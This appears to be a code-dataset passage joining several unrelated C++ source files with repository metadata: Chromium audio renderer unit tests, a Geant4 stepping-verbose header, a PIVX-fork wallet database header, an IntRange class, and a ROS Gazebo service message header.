Preroll(seek_timestamp, seek_timestamp, PIPELINE_OK);
}
TEST_F(AudioRendererImplTest, PendingRead_Destroy) {
Initialize();
Preroll();
StartTicking();
// Partially drain internal buffer so we get a pending read.
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
StopTicking();
EXPECT_TRUE(IsReadPending());
renderer_.reset();
}
TEST_F(AudioRendererImplTest, PendingFlush_Destroy) {
Initialize();
Preroll();
StartTicking();
// Partially drain internal buffer so we get a pending read.
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(256)));
WaitForPendingRead();
StopTicking();
EXPECT_TRUE(IsReadPending());
// Start flushing.
WaitableMessageLoopEvent flush_event;
renderer_->Flush(flush_event.GetClosure());
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
SatisfyPendingRead(InputFrames(256));
renderer_.reset();
}
TEST_F(AudioRendererImplTest, InitializeThenDestroy) {
InitializeAndDestroy();
}
TEST_F(AudioRendererImplTest, InitializeThenDestroyDuringDecoderInit) {
InitializeAndDestroyDuringDecoderInit();
}
TEST_F(AudioRendererImplTest, CurrentMediaTimeBehavior) {
Initialize();
Preroll();
StartTicking();
AudioTimestampHelper timestamp_helper(kOutputSamplesPerSecond);
timestamp_helper.SetBaseTimestamp(base::TimeDelta());
// Time should be the starting timestamp as nothing has been consumed yet.
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
const OutputFrames frames_to_consume(frames_buffered().value / 3);
const base::TimeDelta kConsumptionDuration =
timestamp_helper.GetFrameDuration(frames_to_consume.value);
// Render() has not be called yet, thus no data has been consumed, so
// advancing tick clock must not change the media time.
tick_clock_.Advance(kConsumptionDuration);
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
// Consume some audio data.
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume));
WaitForPendingRead();
// Time shouldn't change just yet because we've only sent the initial audio
// data to the hardware.
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
// Advancing the tick clock now should result in an estimated media time.
tick_clock_.Advance(kConsumptionDuration);
EXPECT_EQ(timestamp_helper.GetTimestamp() + kConsumptionDuration,
CurrentMediaTime());
// Consume some more audio data.
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume));
// Time should change now that Render() has been called a second time.
timestamp_helper.AddFrames(frames_to_consume.value);
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
// Advance current time well past all played audio to simulate an irregular or
// delayed OS callback. The value should be clamped to whats been rendered.
timestamp_helper.AddFrames(frames_to_consume.value);
tick_clock_.Advance(kConsumptionDuration * 2);
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
// Consume some more audio data.
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume));
// Stop ticking, the media time should be clamped to what's been rendered.
StopTicking();
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
tick_clock_.Advance(kConsumptionDuration * 2);
timestamp_helper.AddFrames(frames_to_consume.value);
EXPECT_EQ(timestamp_helper.GetTimestamp(), CurrentMediaTime());
}
TEST_F(AudioRendererImplTest, RenderingDelayedForEarlyStartTime) {
Initialize();
// Choose a first timestamp a few buffers into the future, which ends halfway
// through the desired output buffer; this allows for maximum test coverage.
const double kBuffers = 4.5;
const base::TimeDelta first_timestamp =
base::TimeDelta::FromSecondsD(hardware_params_.frames_per_buffer() *
kBuffers / hardware_params_.sample_rate());
Preroll(base::TimeDelta(), first_timestamp, PIPELINE_OK);
StartTicking();
// Verify the first few buffers are silent.
std::unique_ptr<AudioBus> bus = AudioBus::Create(hardware_params_);
int frames_read = 0;
for (int i = 0; i < std::floor(kBuffers); ++i) {
EXPECT_TRUE(sink_->Render(bus.get(), base::TimeDelta(), &frames_read));
EXPECT_EQ(frames_read, bus->frames());
for (int j = 0; j < bus->frames(); ++j)
ASSERT_FLOAT_EQ(0.0f, bus->channel(0)[j]);
WaitForPendingRead();
DeliverRemainingAudio();
}
// Verify the last buffer is half silence and half real data.
EXPECT_TRUE(sink_->Render(bus.get(), base::TimeDelta(), &frames_read));
EXPECT_EQ(frames_read, bus->frames());
const int zero_frames =
bus->frames() * (kBuffers - static_cast<int>(kBuffers));
for (int i = 0; i < zero_frames; ++i)
ASSERT_FLOAT_EQ(0.0f, bus->channel(0)[i]);
for (int i = zero_frames; i < bus->frames(); ++i)
ASSERT_NE(0.0f, bus->channel(0)[i]);
}
TEST_F(AudioRendererImplTest, RenderingDelayedForSuspend) {
Initialize();
Preroll(base::TimeDelta(), base::TimeDelta(), PIPELINE_OK);
StartTicking();
// Verify the first buffer is real data.
int frames_read = 0;
std::unique_ptr<AudioBus> bus = AudioBus::Create(hardware_params_);
EXPECT_TRUE(sink_->Render(bus.get(), base::TimeDelta(), &frames_read));
EXPECT_NE(0, frames_read);
for (int i = 0; i < bus->frames(); ++i)
ASSERT_NE(0.0f, bus->channel(0)[i]);
// Verify after suspend we get silence.
renderer_->OnSuspend();
EXPECT_TRUE(sink_->Render(bus.get(), base::TimeDelta(), &frames_read));
EXPECT_EQ(0, frames_read);
// Verify after resume we get audio.
bus->Zero();
renderer_->OnResume();
EXPECT_TRUE(sink_->Render(bus.get(), base::TimeDelta(), &frames_read));
EXPECT_NE(0, frames_read);
for (int i = 0; i < bus->frames(); ++i)
ASSERT_NE(0.0f, bus->channel(0)[i]);
}
TEST_F(AudioRendererImplTest, RenderingDelayDoesNotOverflow) {
Initialize();
// Choose a first timestamp as far into the future as possible. Without care
// this can cause an overflow in rendering arithmetic.
Preroll(base::TimeDelta(), base::TimeDelta::Max(), PIPELINE_OK);
StartTicking();
EXPECT_TRUE(ConsumeBufferedData(OutputFrames(1)));
}
TEST_F(AudioRendererImplTest, ImmediateEndOfStream) {
Initialize();
{
SCOPED_TRACE("Preroll()");
renderer_->StartPlaying();
WaitForPendingRead();
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_ENOUGH));
DeliverEndOfStream();
}
StartTicking();
// Read a single frame. We shouldn't be able to satisfy it.
EXPECT_FALSE(ended());
EXPECT_FALSE(ConsumeBufferedData(OutputFrames(1)));
base::RunLoop().RunUntilIdle();
EXPECT_TRUE(ended());
}
TEST_F(AudioRendererImplTest, OnRenderErrorCausesDecodeError) {
Initialize();
Preroll();
StartTicking();
EXPECT_CALL(*this, OnError(AUDIO_RENDERER_ERROR));
sink_->OnRenderError();
base::RunLoop().RunUntilIdle();
}
// Test for AudioRendererImpl calling Pause()/Play() on the sink when the
// playback rate is set to zero and non-zero.
TEST_F(AudioRendererImplTest, SetPlaybackRate) {
Initialize();
Preroll();
// Rendering hasn't started. Sink should always be paused.
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
renderer_->SetPlaybackRate(0.0);
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
renderer_->SetPlaybackRate(1.0);
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
// Rendering has started with non-zero rate. Rate changes will affect sink
// state.
renderer_->StartTicking();
EXPECT_EQ(FakeAudioRendererSink::kPlaying, sink_->state());
renderer_->SetPlaybackRate(0.0);
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
renderer_->SetPlaybackRate(1.0);
EXPECT_EQ(FakeAudioRendererSink::kPlaying, sink_->state());
// Rendering has stopped. Sink should be paused.
renderer_->StopTicking();
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
// Start rendering with zero playback rate. Sink should be paused until
// non-zero rate is set.
renderer_->SetPlaybackRate(0.0);
renderer_->StartTicking();
EXPECT_EQ(FakeAudioRendererSink::kPaused, sink_->state());
renderer_->SetPlaybackRate(1.0);
EXPECT_EQ(FakeAudioRendererSink::kPlaying, sink_->state());
}
TEST_F(AudioRendererImplTest, TimeSourceBehavior) {
Initialize();
Preroll();
AudioTimestampHelper timestamp_helper(kOutputSamplesPerSecond);
timestamp_helper.SetBaseTimestamp(base::TimeDelta());
// Prior to start, time should be shown as not moving.
bool is_time_moving = false;
EXPECT_EQ(base::TimeTicks(),
ConvertMediaTime(base::TimeDelta(), &is_time_moving));
EXPECT_FALSE(is_time_moving);
EXPECT_EQ(base::TimeTicks(), CurrentMediaWallClockTime(&is_time_moving));
EXPECT_FALSE(is_time_moving);
// Start ticking, but use a zero playback rate, time should still be stopped
// until a positive playback rate is set and the first Render() is called.
renderer_->SetPlaybackRate(0.0);
StartTicking();
EXPECT_EQ(base::TimeTicks(), CurrentMediaWallClockTime(&is_time_moving));
EXPECT_FALSE(is_time_moving);
renderer_->SetPlaybackRate(1.0);
EXPECT_EQ(base::TimeTicks(), CurrentMediaWallClockTime(&is_time_moving));
EXPECT_FALSE(is_time_moving);
renderer_->SetPlaybackRate(1.0);
// Issue the first render call to start time moving.
OutputFrames frames_to_consume(frames_buffered().value / 2);
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume));
WaitForPendingRead();
// Time shouldn't change just yet because we've only sent the initial audio
// data to the hardware.
EXPECT_EQ(tick_clock_.NowTicks(),
ConvertMediaTime(base::TimeDelta(), &is_time_moving));
EXPECT_TRUE(is_time_moving);
// A system suspend should freeze the time state and resume restart it.
renderer_->OnSuspend();
EXPECT_EQ(tick_clock_.NowTicks(),
ConvertMediaTime(base::TimeDelta(), &is_time_moving));
EXPECT_FALSE(is_time_moving);
renderer_->OnResume();
EXPECT_EQ(tick_clock_.NowTicks(),
ConvertMediaTime(base::TimeDelta(), &is_time_moving));
EXPECT_TRUE(is_time_moving);
// Consume some more audio data.
frames_to_consume = frames_buffered();
tick_clock_.Advance(
base::TimeDelta::FromSecondsD(1.0 / kOutputSamplesPerSecond));
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume));
// Time should change now that the audio hardware has called back.
const base::TimeTicks wall_clock_time_zero =
tick_clock_.NowTicks() -
timestamp_helper.GetFrameDuration(frames_to_consume.value);
EXPECT_EQ(wall_clock_time_zero,
ConvertMediaTime(base::TimeDelta(), &is_time_moving));
EXPECT_TRUE(is_time_moving);
// Store current media time before advancing the tick clock since the call is
// compensated based on TimeTicks::Now().
const base::TimeDelta current_media_time = renderer_->CurrentMediaTime();
// The current wall clock time should change as our tick clock advances, up
// until we've reached the end of played out frames.
const int kSteps = 4;
const base::TimeDelta kAdvanceDelta =
timestamp_helper.GetFrameDuration(frames_to_consume.value) / kSteps;
for (int i = 0; i < kSteps; ++i) {
tick_clock_.Advance(kAdvanceDelta);
EXPECT_EQ(tick_clock_.NowTicks(),
CurrentMediaWallClockTime(&is_time_moving));
EXPECT_TRUE(is_time_moving);
}
// Converting the current media time should be relative to wall clock zero.
EXPECT_EQ(wall_clock_time_zero + kSteps * kAdvanceDelta,
ConvertMediaTime(current_media_time, &is_time_moving));
EXPECT_TRUE(is_time_moving);
// Advancing once more will exceed the amount of played out frames finally.
const base::TimeDelta kOneSample =
base::TimeDelta::FromSecondsD(1.0 / kOutputSamplesPerSecond);
base::TimeTicks current_time = tick_clock_.NowTicks();
tick_clock_.Advance(kOneSample);
EXPECT_EQ(current_time, CurrentMediaWallClockTime(&is_time_moving));
EXPECT_TRUE(is_time_moving);
StopTicking();
DeliverRemainingAudio();
// Elapse a lot of time between StopTicking() and the next Render() call.
const base::TimeDelta kOneSecond = base::TimeDelta::FromSeconds(1);
tick_clock_.Advance(kOneSecond);
StartTicking();
// Time should be stopped until the next render call.
EXPECT_EQ(current_time, CurrentMediaWallClockTime(&is_time_moving));
EXPECT_FALSE(is_time_moving);
// Consume some buffered data with a small delay.
uint32_t delay_frames = 500;
base::TimeDelta delay_time = base::TimeDelta::FromMicroseconds(
std::round(delay_frames * kOutputMicrosPerFrame));
frames_to_consume.value = frames_buffered().value / 16;
EXPECT_TRUE(ConsumeBufferedData(frames_to_consume, delay_time));
// Verify time is adjusted for the current delay.
current_time = tick_clock_.NowTicks() + delay_time;
EXPECT_EQ(current_time, CurrentMediaWallClockTime(&is_time_moving));
EXPECT_TRUE(is_time_moving);
EXPECT_EQ(current_time,
ConvertMediaTime(renderer_->CurrentMediaTime(), &is_time_moving));
EXPECT_TRUE(is_time_moving);
tick_clock_.Advance(kOneSample);
renderer_->SetPlaybackRate(2);
EXPECT_EQ(current_time, CurrentMediaWallClockTime(&is_time_moving));
EXPECT_TRUE(is_time_moving);
EXPECT_EQ(current_time + kOneSample * 2,
ConvertMediaTime(renderer_->CurrentMediaTime(), &is_time_moving));
EXPECT_TRUE(is_time_moving);
// Advance far enough that we shouldn't be clamped to current time (tested
// already above).
tick_clock_.Advance(kOneSecond);
EXPECT_EQ(
current_time + timestamp_helper.GetFrameDuration(frames_to_consume.value),
CurrentMediaWallClockTime(&is_time_moving));
EXPECT_TRUE(is_time_moving);
}
TEST_F(AudioRendererImplTest, BitstreamEndOfStream) {
InitializeBitstreamFormat();
Preroll();
StartTicking();
// Drain internal buffer, we should have a pending read.
EXPECT_TRUE(ConsumeBitstreamBufferedData(frames_buffered()));
WaitForPendingRead();
// Forcefully trigger underflow.
EXPECT_FALSE(ConsumeBitstreamBufferedData(OutputFrames(1)));
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_NOTHING));
// Fulfill the read with an end-of-stream buffer. Doing so should change our
// buffering state so playback resumes.
EXPECT_CALL(*this, OnBufferingStateChange(BUFFERING_HAVE_ENOUGH));
DeliverEndOfStream();
// Consume all remaining data. We shouldn't have signal ended yet.
if (frames_buffered().value != 0)
EXPECT_TRUE(ConsumeBitstreamBufferedData(frames_buffered()));
base::RunLoop().RunUntilIdle();
EXPECT_FALSE(ended());
// Ended should trigger on next render call.
EXPECT_FALSE(ConsumeBitstreamBufferedData(OutputFrames(1)));
base::RunLoop().RunUntilIdle();
EXPECT_TRUE(ended());
// Clear the use of |media_client_|, which was set in
// InitializeBitstreamFormat().
SetMediaClient(nullptr);
}
} // namespace media
| [
"jiawang.yu@spreadtrum.com"
] | jiawang.yu@spreadtrum.com |
d25996702dd9897b092bad5e20c78ba34478ee0a | 0cb3115afed8180a16832d72a72b725c2e471450 | /aCORN_G4/include/SteppingAction_Verbose.hh | 09c13d05d9a21630625de602efc188eaa7c8e01c | [
"LicenseRef-scancode-public-domain"
] | permissive | aCORNCollaboration/aCORN_MPM | d5568ca75fa48871ca4db707e707eae14d1533b5 | cec1befd96e3897cacd3e6cd33932bd704b0a495 | refs/heads/master | 2020-12-29T01:53:53.944784 | 2016-06-29T13:38:33 | 2016-06-29T13:38:33 | 40,367,939 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 378 | hh | #ifndef STEPPINGACTION_VERBOSE
#define STEPPINGACTION_VERBOSE
#include <G4SteppingVerbose.hh>
/// class for printing out information at every step
class SteppingAction_Verbose : public G4SteppingVerbose {
public:
/// constructor
SteppingAction_Verbose() {}
/// display info for step
void StepInfo();
/// display info at start of track
void TrackingStarted();
};
#endif
| [
"mpm@caltech.edu"
] | mpm@caltech.edu |
00cb63920cd6dfa4ec2c4b8e9e3c5c95cc15aeb6 | 53d0ef0f1be435f2647e218df540a86f590e7287 | /src/walletdb.h | ae718117174e1fffa1cffce192ac428bb6e0654a | [
"MIT"
] | permissive | sutantoz/zubitcoin | 3753c1a43bc20309b18e98d5801b31dacabec2a0 | bba943b5b49069776313859e24adbe6969daa076 | refs/heads/master | 2020-04-26T14:22:39.910786 | 2019-03-03T23:49:35 | 2019-03-03T23:49:35 | 173,611,807 | 0 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 7,720 | h | // Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2013 The Bitcoin developers
// Copyright (c) 2016-2018 The PIVX developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_WALLETDB_H
#define BITCOIN_WALLETDB_H
#include "amount.h"
#include "db.h"
#include "key.h"
#include "keystore.h"
#include "primitives/zerocoin.h"
#include "libzerocoin/Accumulator.h"
#include "libzerocoin/Denominations.h"
#include "zzbittracker.h"
#include <list>
#include <stdint.h>
#include <string>
#include <utility>
#include <vector>
class CAccount;
class CAccountingEntry;
struct CBlockLocator;
class CKeyPool;
class CMasterKey;
class CScript;
class CWallet;
class CWalletTx;
class CDeterministicMint;
class CZerocoinMint;
class CZerocoinSpend;
class uint160;
class uint256;
/** Error statuses for the wallet database */
enum DBErrors {
DB_LOAD_OK,
DB_CORRUPT,
DB_NONCRITICAL_ERROR,
DB_TOO_NEW,
DB_LOAD_FAIL,
DB_NEED_REWRITE
};
class CKeyMetadata
{
public:
static const int CURRENT_VERSION = 1;
int nVersion;
int64_t nCreateTime; // 0 means unknown
CKeyMetadata()
{
SetNull();
}
CKeyMetadata(int64_t nCreateTime_)
{
nVersion = CKeyMetadata::CURRENT_VERSION;
nCreateTime = nCreateTime_;
}
ADD_SERIALIZE_METHODS;
template <typename Stream, typename Operation>
inline void SerializationOp(Stream& s, Operation ser_action, int nType, int nVersion)
{
READWRITE(this->nVersion);
nVersion = this->nVersion;
READWRITE(nCreateTime);
}
void SetNull()
{
nVersion = CKeyMetadata::CURRENT_VERSION;
nCreateTime = 0;
}
};
/** Access to the wallet database (wallet.dat) */
class CWalletDB : public CDB
{
public:
CWalletDB(const std::string& strFilename, const char* pszMode = "r+") : CDB(strFilename, pszMode)
{
}
bool WriteName(const std::string& strAddress, const std::string& strName);
bool EraseName(const std::string& strAddress);
bool WritePurpose(const std::string& strAddress, const std::string& purpose);
bool ErasePurpose(const std::string& strAddress);
bool WriteTx(uint256 hash, const CWalletTx& wtx);
bool EraseTx(uint256 hash);
bool WriteKey(const CPubKey& vchPubKey, const CPrivKey& vchPrivKey, const CKeyMetadata& keyMeta);
bool WriteCryptedKey(const CPubKey& vchPubKey, const std::vector<unsigned char>& vchCryptedSecret, const CKeyMetadata& keyMeta);
bool WriteMasterKey(unsigned int nID, const CMasterKey& kMasterKey);
bool WriteCScript(const uint160& hash, const CScript& redeemScript);
bool WriteWatchOnly(const CScript& script);
bool EraseWatchOnly(const CScript& script);
bool WriteMultiSig(const CScript& script);
bool EraseMultiSig(const CScript& script);
bool WriteBestBlock(const CBlockLocator& locator);
bool ReadBestBlock(CBlockLocator& locator);
bool WriteOrderPosNext(int64_t nOrderPosNext);
// presstab
bool WriteStakeSplitThreshold(uint64_t nStakeSplitThreshold);
bool WriteMultiSend(std::vector<std::pair<std::string, int> > vMultiSend);
bool EraseMultiSend(std::vector<std::pair<std::string, int> > vMultiSend);
bool WriteMSettings(bool fMultiSendStake, bool fMultiSendMasternode, int nLastMultiSendHeight);
bool WriteMSDisabledAddresses(std::vector<std::string> vDisabledAddresses);
bool EraseMSDisabledAddresses(std::vector<std::string> vDisabledAddresses);
bool WriteAutoCombineSettings(bool fEnable, CAmount nCombineThreshold);
bool WriteDefaultKey(const CPubKey& vchPubKey);
bool ReadPool(int64_t nPool, CKeyPool& keypool);
bool WritePool(int64_t nPool, const CKeyPool& keypool);
bool ErasePool(int64_t nPool);
bool WriteMinVersion(int nVersion);
/// This writes directly to the database, and will not update the CWallet's cached accounting entries!
/// Use wallet.AddAccountingEntry instead, to write *and* update its caches.
bool WriteAccountingEntry_Backend(const CAccountingEntry& acentry);
bool ReadAccount(const std::string& strAccount, CAccount& account);
bool WriteAccount(const std::string& strAccount, const CAccount& account);
/// Write destination data key,value tuple to database
bool WriteDestData(const std::string& address, const std::string& key, const std::string& value);
/// Erase destination data tuple from wallet database
bool EraseDestData(const std::string& address, const std::string& key);
CAmount GetAccountCreditDebit(const std::string& strAccount);
void ListAccountCreditDebit(const std::string& strAccount, std::list<CAccountingEntry>& acentries);
DBErrors ReorderTransactions(CWallet* pwallet);
DBErrors LoadWallet(CWallet* pwallet);
DBErrors FindWalletTx(CWallet* pwallet, std::vector<uint256>& vTxHash, std::vector<CWalletTx>& vWtx);
DBErrors ZapWalletTx(CWallet* pwallet, std::vector<CWalletTx>& vWtx);
static bool Recover(CDBEnv& dbenv, std::string filename, bool fOnlyKeys);
static bool Recover(CDBEnv& dbenv, std::string filename);
bool WriteDeterministicMint(const CDeterministicMint& dMint);
bool ReadDeterministicMint(const uint256& hashPubcoin, CDeterministicMint& dMint);
bool EraseDeterministicMint(const uint256& hashPubcoin);
bool WriteZerocoinMint(const CZerocoinMint& zerocoinMint);
bool EraseZerocoinMint(const CZerocoinMint& zerocoinMint);
bool ReadZerocoinMint(const CBigNum &bnPubcoinValue, CZerocoinMint& zerocoinMint);
bool ReadZerocoinMint(const uint256& hashPubcoin, CZerocoinMint& mint);
bool ArchiveMintOrphan(const CZerocoinMint& zerocoinMint);
bool ArchiveDeterministicOrphan(const CDeterministicMint& dMint);
bool UnarchiveZerocoinMint(const uint256& hashPubcoin, CZerocoinMint& mint);
bool UnarchiveDeterministicMint(const uint256& hashPubcoin, CDeterministicMint& dMint);
std::list<CZerocoinMint> ListMintedCoins();
std::list<CDeterministicMint> ListDeterministicMints();
std::list<CZerocoinSpend> ListSpentCoins();
std::list<CBigNum> ListSpentCoinsSerial();
std::list<CZerocoinMint> ListArchivedZerocoins();
std::list<CDeterministicMint> ListArchivedDeterministicMints();
bool WriteZerocoinSpendSerialEntry(const CZerocoinSpend& zerocoinSpend);
bool EraseZerocoinSpendSerialEntry(const CBigNum& serialEntry);
bool ReadZerocoinSpendSerialEntry(const CBigNum& bnSerial);
bool WriteCurrentSeedHash(const uint256& hashSeed);
bool ReadCurrentSeedHash(uint256& hashSeed);
bool WriteZZBITSeed(const uint256& hashSeed, const vector<unsigned char>& seed);
bool ReadZZBITSeed(const uint256& hashSeed, vector<unsigned char>& seed);
bool ReadZZBITSeed_deprecated(uint256& seed);
bool EraseZZBITSeed();
bool EraseZZBITSeed_deprecated();
bool WriteZZBITCount(const uint32_t& nCount);
bool ReadZZBITCount(uint32_t& nCount);
std::map<uint256, std::vector<pair<uint256, uint32_t> > > MapMintPool();
bool WriteMintPoolPair(const uint256& hashMasterSeed, const uint256& hashPubcoin, const uint32_t& nCount);
private:
CWalletDB(const CWalletDB&);
void operator=(const CWalletDB&);
bool WriteAccountingEntry(const uint64_t nAccEntryNum, const CAccountingEntry& acentry);
};
void NotifyBacked(const CWallet& wallet, bool fSuccess, string strMessage);
bool BackupWallet(const CWallet& wallet, const boost::filesystem::path& strDest, bool fEnableCustom = true);
bool AttemptBackupWallet(const CWallet& wallet, const boost::filesystem::path& pathSrc, const boost::filesystem::path& pathDest);
#endif // BITCOIN_WALLETDB_H
| [
"achmadsutanto@gmail.com"
] | achmadsutanto@gmail.com |
3db44e8d7e180913c849f1b344fea4598e59948f | cd04c84c8d873d190bb0f8c152cc770b02c9e210 | /Task3/Car/src/IntRange.cpp | f433c2591ac6d84ff46ff427e56a5604e25fe6d6 | [] | no_license | miredirex/oop-course | c30429a7049fd1a7827a108c453baea7eaf1e26d | 5ed318bf2afafc331208ad87e50f74beb0129001 | refs/heads/master | 2022-12-18T20:24:52.529252 | 2020-09-27T23:01:57 | 2020-09-27T23:01:57 | 240,968,340 | 0 | 0 | null | 2020-09-27T22:58:22 | 2020-02-16T21:25:06 | C | UTF-8 | C++ | false | false | 243 | cpp | #include <IntRange.h>
int IntRange::GetFirst() const
{
return m_start;
}
int IntRange::GetLast() const
{
return m_endInclusive;
}
bool IntRange::Contains(int value) const
{
return (m_start <= value && value <= m_endInclusive);
} | [
"my@area.gq"
] | my@area.gq |
fdf7ffcb02e0f6bee2871a7729af68d9618983c5 | c2181c1e9c1aaa46189adcff19a66dac5eacb17e | /devel/include/gazebo_msgs/SetJointPropertiesRequest.h | 5e4ebafdf156c5d20639c11d7692770e9733f402 | [] | no_license | espadandy/dynamics_ws | ea551484385e958a2e2bb31ab2ed0e182f618db7 | 6362cb3d4b8944d6ef3fbf929b87b61216fec3ee | refs/heads/master | 2021-01-19T09:20:56.406085 | 2016-12-15T17:29:06 | 2016-12-15T17:29:06 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 7,145 | h | // Generated by gencpp from file gazebo_msgs/SetJointPropertiesRequest.msg
// DO NOT EDIT!
#ifndef GAZEBO_MSGS_MESSAGE_SETJOINTPROPERTIESREQUEST_H
#define GAZEBO_MSGS_MESSAGE_SETJOINTPROPERTIESREQUEST_H
#include <string>
#include <vector>
#include <map>
#include <ros/types.h>
#include <ros/serialization.h>
#include <ros/builtin_message_traits.h>
#include <ros/message_operations.h>
#include <gazebo_msgs/ODEJointProperties.h>
namespace gazebo_msgs
{
template <class ContainerAllocator>
struct SetJointPropertiesRequest_
{
typedef SetJointPropertiesRequest_<ContainerAllocator> Type;
SetJointPropertiesRequest_()
: joint_name()
, ode_joint_config() {
}
SetJointPropertiesRequest_(const ContainerAllocator& _alloc)
: joint_name(_alloc)
, ode_joint_config(_alloc) {
(void)_alloc;
}
typedef std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > _joint_name_type;
_joint_name_type joint_name;
typedef ::gazebo_msgs::ODEJointProperties_<ContainerAllocator> _ode_joint_config_type;
_ode_joint_config_type ode_joint_config;
typedef boost::shared_ptr< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> > Ptr;
typedef boost::shared_ptr< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> const> ConstPtr;
}; // struct SetJointPropertiesRequest_
typedef ::gazebo_msgs::SetJointPropertiesRequest_<std::allocator<void> > SetJointPropertiesRequest;
typedef boost::shared_ptr< ::gazebo_msgs::SetJointPropertiesRequest > SetJointPropertiesRequestPtr;
typedef boost::shared_ptr< ::gazebo_msgs::SetJointPropertiesRequest const> SetJointPropertiesRequestConstPtr;
// constants requiring out of line definition
template<typename ContainerAllocator>
std::ostream& operator<<(std::ostream& s, const ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> & v)
{
ros::message_operations::Printer< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >::stream(s, "", v);
return s;
}
} // namespace gazebo_msgs
namespace ros
{
namespace message_traits
{
// BOOLTRAITS {'IsFixedSize': False, 'IsMessage': True, 'HasHeader': False}
// {'sensor_msgs': ['/opt/ros/indigo/share/sensor_msgs/cmake/../msg'], 'std_msgs': ['/opt/ros/indigo/share/std_msgs/cmake/../msg'], 'trajectory_msgs': ['/opt/ros/indigo/share/trajectory_msgs/cmake/../msg'], 'gazebo_msgs': ['/home/sathya/dynamics_ws/src/gazebo_ros_pkgs/gazebo_msgs/msg'], 'geometry_msgs': ['/opt/ros/indigo/share/geometry_msgs/cmake/../msg']}
// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']
template <class ContainerAllocator>
struct IsFixedSize< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
: FalseType
{ };
template <class ContainerAllocator>
struct IsFixedSize< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> const>
: FalseType
{ };
template <class ContainerAllocator>
struct IsMessage< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
: TrueType
{ };
template <class ContainerAllocator>
struct IsMessage< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> const>
: TrueType
{ };
template <class ContainerAllocator>
struct HasHeader< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
: FalseType
{ };
template <class ContainerAllocator>
struct HasHeader< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> const>
: FalseType
{ };
template<class ContainerAllocator>
struct MD5Sum< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
{
static const char* value()
{
return "331fd8f35fd27e3c1421175590258e26";
}
static const char* value(const ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator>&) { return value(); }
static const uint64_t static_value1 = 0x331fd8f35fd27e3cULL;
static const uint64_t static_value2 = 0x1421175590258e26ULL;
};
template<class ContainerAllocator>
struct DataType< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
{
static const char* value()
{
return "gazebo_msgs/SetJointPropertiesRequest";
}
static const char* value(const ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator>&) { return value(); }
};
template<class ContainerAllocator>
struct Definition< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
{
static const char* value()
{
return "string joint_name\n\
gazebo_msgs/ODEJointProperties ode_joint_config\n\
\n\
================================================================================\n\
MSG: gazebo_msgs/ODEJointProperties\n\
# access to low level joint properties, change these at your own risk\n\
float64[] damping # joint damping\n\
float64[] hiStop # joint limit\n\
float64[] loStop # joint limit\n\
float64[] erp # set joint erp\n\
float64[] cfm # set joint cfm\n\
float64[] stop_erp # set joint erp for joint limit \"contact\" joint\n\
float64[] stop_cfm # set joint cfm for joint limit \"contact\" joint\n\
float64[] fudge_factor # joint fudge_factor applied at limits, see ODE manual for info.\n\
float64[] fmax # ode joint param fmax\n\
float64[] vel # ode joint param vel\n\
";
}
static const char* value(const ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator>&) { return value(); }
};
} // namespace message_traits
} // namespace ros
namespace ros
{
namespace serialization
{
template<class ContainerAllocator> struct Serializer< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
{
template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)
{
stream.next(m.joint_name);
stream.next(m.ode_joint_config);
}
ROS_DECLARE_ALLINONE_SERIALIZER
}; // struct SetJointPropertiesRequest_
